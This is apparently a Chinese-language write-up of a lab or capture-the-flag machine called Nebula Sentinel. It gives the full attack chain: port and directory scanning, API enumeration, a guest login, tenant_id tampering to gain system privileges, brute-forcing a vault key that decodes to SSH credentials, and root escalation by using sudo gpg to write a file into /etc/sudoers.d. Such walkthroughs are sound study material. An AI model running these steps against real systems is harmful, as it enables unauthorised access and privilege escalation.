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DATE READ12 min FIELD 安全

来源:dashazi

打点

扫描IP全端口 nmap -sT —min-rate=10000 -p- $IP -o nmap1

开放 22 80 5000

访问 web 80,5000 Pasted image 20260121141908

80端口三板斧 看一眼 title Nebula Sentinel - 企业密钥管理平台 无fivicon

后台跑 whatweb、nikto 识别服务

whatweb -v http://192.168.124.14
nikto -h http://192.168.124.14

目录爆破

feroxbuster -u http://192.168.124.14 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html,txt,js,bak,old -t 30

5000 端口查看源码得到 api 接口信息 Pasted image 20260121142142

爆破 api 接口得到 login

测试字段，根据返回包信息给出 json 格式数据

Pasted image 20260121142229 爆破不出账户密码 卡主

然后思考了一下，看到 Legacy API versions: /api/v1/，这个 legacy 代表遗留的

所以 api 接口可能有其他的，比如 v2 (真的有)

扫一下 Pasted image 20260121143620 路由

health
login
stats
users

尝试

POST /api/v2/users HTTP/1.1
Host: 192.168.124.14:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded




HTTP/1.1 401 UNAUTHORIZED
Server: Werkzeug/3.1.4 Python/3.9.2
Date: Wed, 21 Jan 2026 06:37:50 GMT
Content-Type: application/json
X-Sentinel-Debug: None
Server: NebulaSentinel/2.5.1
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 85

{"error":"Unauthorized","hint":"Authorization header with Bearer token is required"}

health

┌──(root㉿NeuroLap)-[/mnt/c/Users/asus]
└─# for ep in health stats; do   curl -s -X GET http://192.168.124.14:5000/api/v2/$ep | jq .; done
{
  "status": "healthy",
  "timestamp": "2026-01-21T06:46:45.070490",
  "version": "2.5.1"
}

然后我尝试伪造添加 Authorization header，但是失败 卡住

大字典重新扫描 / , /api , /api/v2 新发现

405      GET        5l       20w      153c http://192.168.124.14:5000/api/v2/vault

访问，仍然返回

{"error":"Unauthorized","hint":"Authorization header with Bearer token is required"}

v2 接口

health
login
stats
users
vault

递归扫描 /api/v2/users/ , /api/v2/vault

Pasted image 20260124200853

得到路由 /api/v2/users/list /api/v2/vault/query

根据返回包修改请求

POST /api/v2/users/list HTTP/1.1
Host: 192.168.124.14:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 20

{"username":"admin"}

得到用户数据

{"count":5,"users":[{"access_level":"admin","department":"IT Security","tenant_id":"system","username":"admin"},{"access_level":"manager","department":"Finance","tenant_id":"finance","username":"jdoe"},{"access_level":"user","department":"Human Resources","tenant_id":"hr","username":"asmith"},{"access_level":"user","department":"DevOps","tenant_id":"engineering","username":"mlee"},{"access_level":"guest","department":null,"tenant_id":"public","username":"guest"}]}

注意有个 guest 用户，直接尝试使用 guest:guest 在 login 接口处登录 返回

{"access_level":"guest","department":null,"message":"Login successful","tenant_id":"public","token":"a4df4855ecf855e12ee5045388c72fbe1aa49dda4eaca3a82c200eb8946ceb33"}

拿到数据后手动添加请求头 Authorization: Bearer b43f682c3f963a144154d65b7cde17b078c24ecc3695fdb71407db82a6f846b5

接着继续使用 query 查询 提示确实 key value 信息

{"error":"Missing required parameters","missing":["key","value"],"required":["key","value"]}

注意官网主界面

system:secure_vault_key:平台核心主加密密钥，用于内部服务间敏感数据加密、签名验证及安全会话保护。属于最高机密等级，仅系统管理员可访问。

这个 key 应该就是 secure_vault_key，而 value 就是我们要寻找的值 然后不断测试请求格式 Pasted image 20260124202132 Pasted image 20260124202252

现在只需要爆破 value 值即可得到秘钥信息 经测试，一个也爆破不出。可能原因是这里是 system 权限的接口，而我们是 guest 所有在 users 处尝试越权

根据之前登录获取的信息 “tenant_id”:“public”，我们将其修改为 “tenant_id”:“system” ，看能不能将后端数据覆盖 Pasted image 20260124203629 可以看到在 /users 下直接修改成功，此时我们 token 已经相当于 system 权限 开始爆破 value 值

Pasted image 20260124203913

bmVidWxhOk4zYnVsQEFkbTFuMjAyNSE

=》 nebula:N3bul@Adm1n2025!

提权

家目录下有一个 hint.gpg

nebula@nebula:~/.password-store$ file hint.gpg 
hint.gpg: PGP RSA encrypted session key - keyid: 5D4EAE19 BCED18C5 RSA (Encrypt or Sign) 2048b .

解密

nebula@nebula:~/.password-store$ gpg -d hint.gpg
gpg: encrypted with 2048-bit RSA key, ID 19AE4E5DC518EDBC, created 2025-12-29
      "Nebula User <nebula@nebula-sentinel.local>"
postfix

解密成功：hint.gpg 里只有一行明文
postfix
说明下一步线索跟邮件服务器 postfix 有关——去查它的配置、日志或相关密码条目

/var/mail 里面没有线索

在 opt 里找到可疑文件

nebula@nebula:/opt/vault-maintenance$ cat backup.sh

忽略 …

sudo -l

(ALL) PASSWD: /usr/bin/gpg

使用 gpg 加密然后解密到指定地方就可以实现任意文件写入。

echo "simho ALL=(ALL) NOPASSWD: ALL" > /tmp/pwn

/usr/bin/gpg --batch --yes --pinentry-mode loopback --passphrase "123" -c /tmp/pwn

sudo /usr/bin/gpg --batch --yes --pinentry-mode loopback -- passphrase "123" -o /etc/sudoers.d/simho -d /tmp/pwn.gpg

拿到 root shell

simho@nebula:~$ sudo -l
Matching Defaults entries for simho on nebula:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User simho may run the following commands on nebula:
(ALL) PASSWD: /usr/bin/gpg
(ALL) NOPASSWD: ALL

总结

API 接口的递归扫描与测试 gpg解密 gpg写入 sudoers 提权

gpg

GPG = 用“公钥锁、私钥开”的工具，先把随机会话密钥用 RSA/ECC 加密，再用 AES 加密正文；还能签名、吊销、建信任链。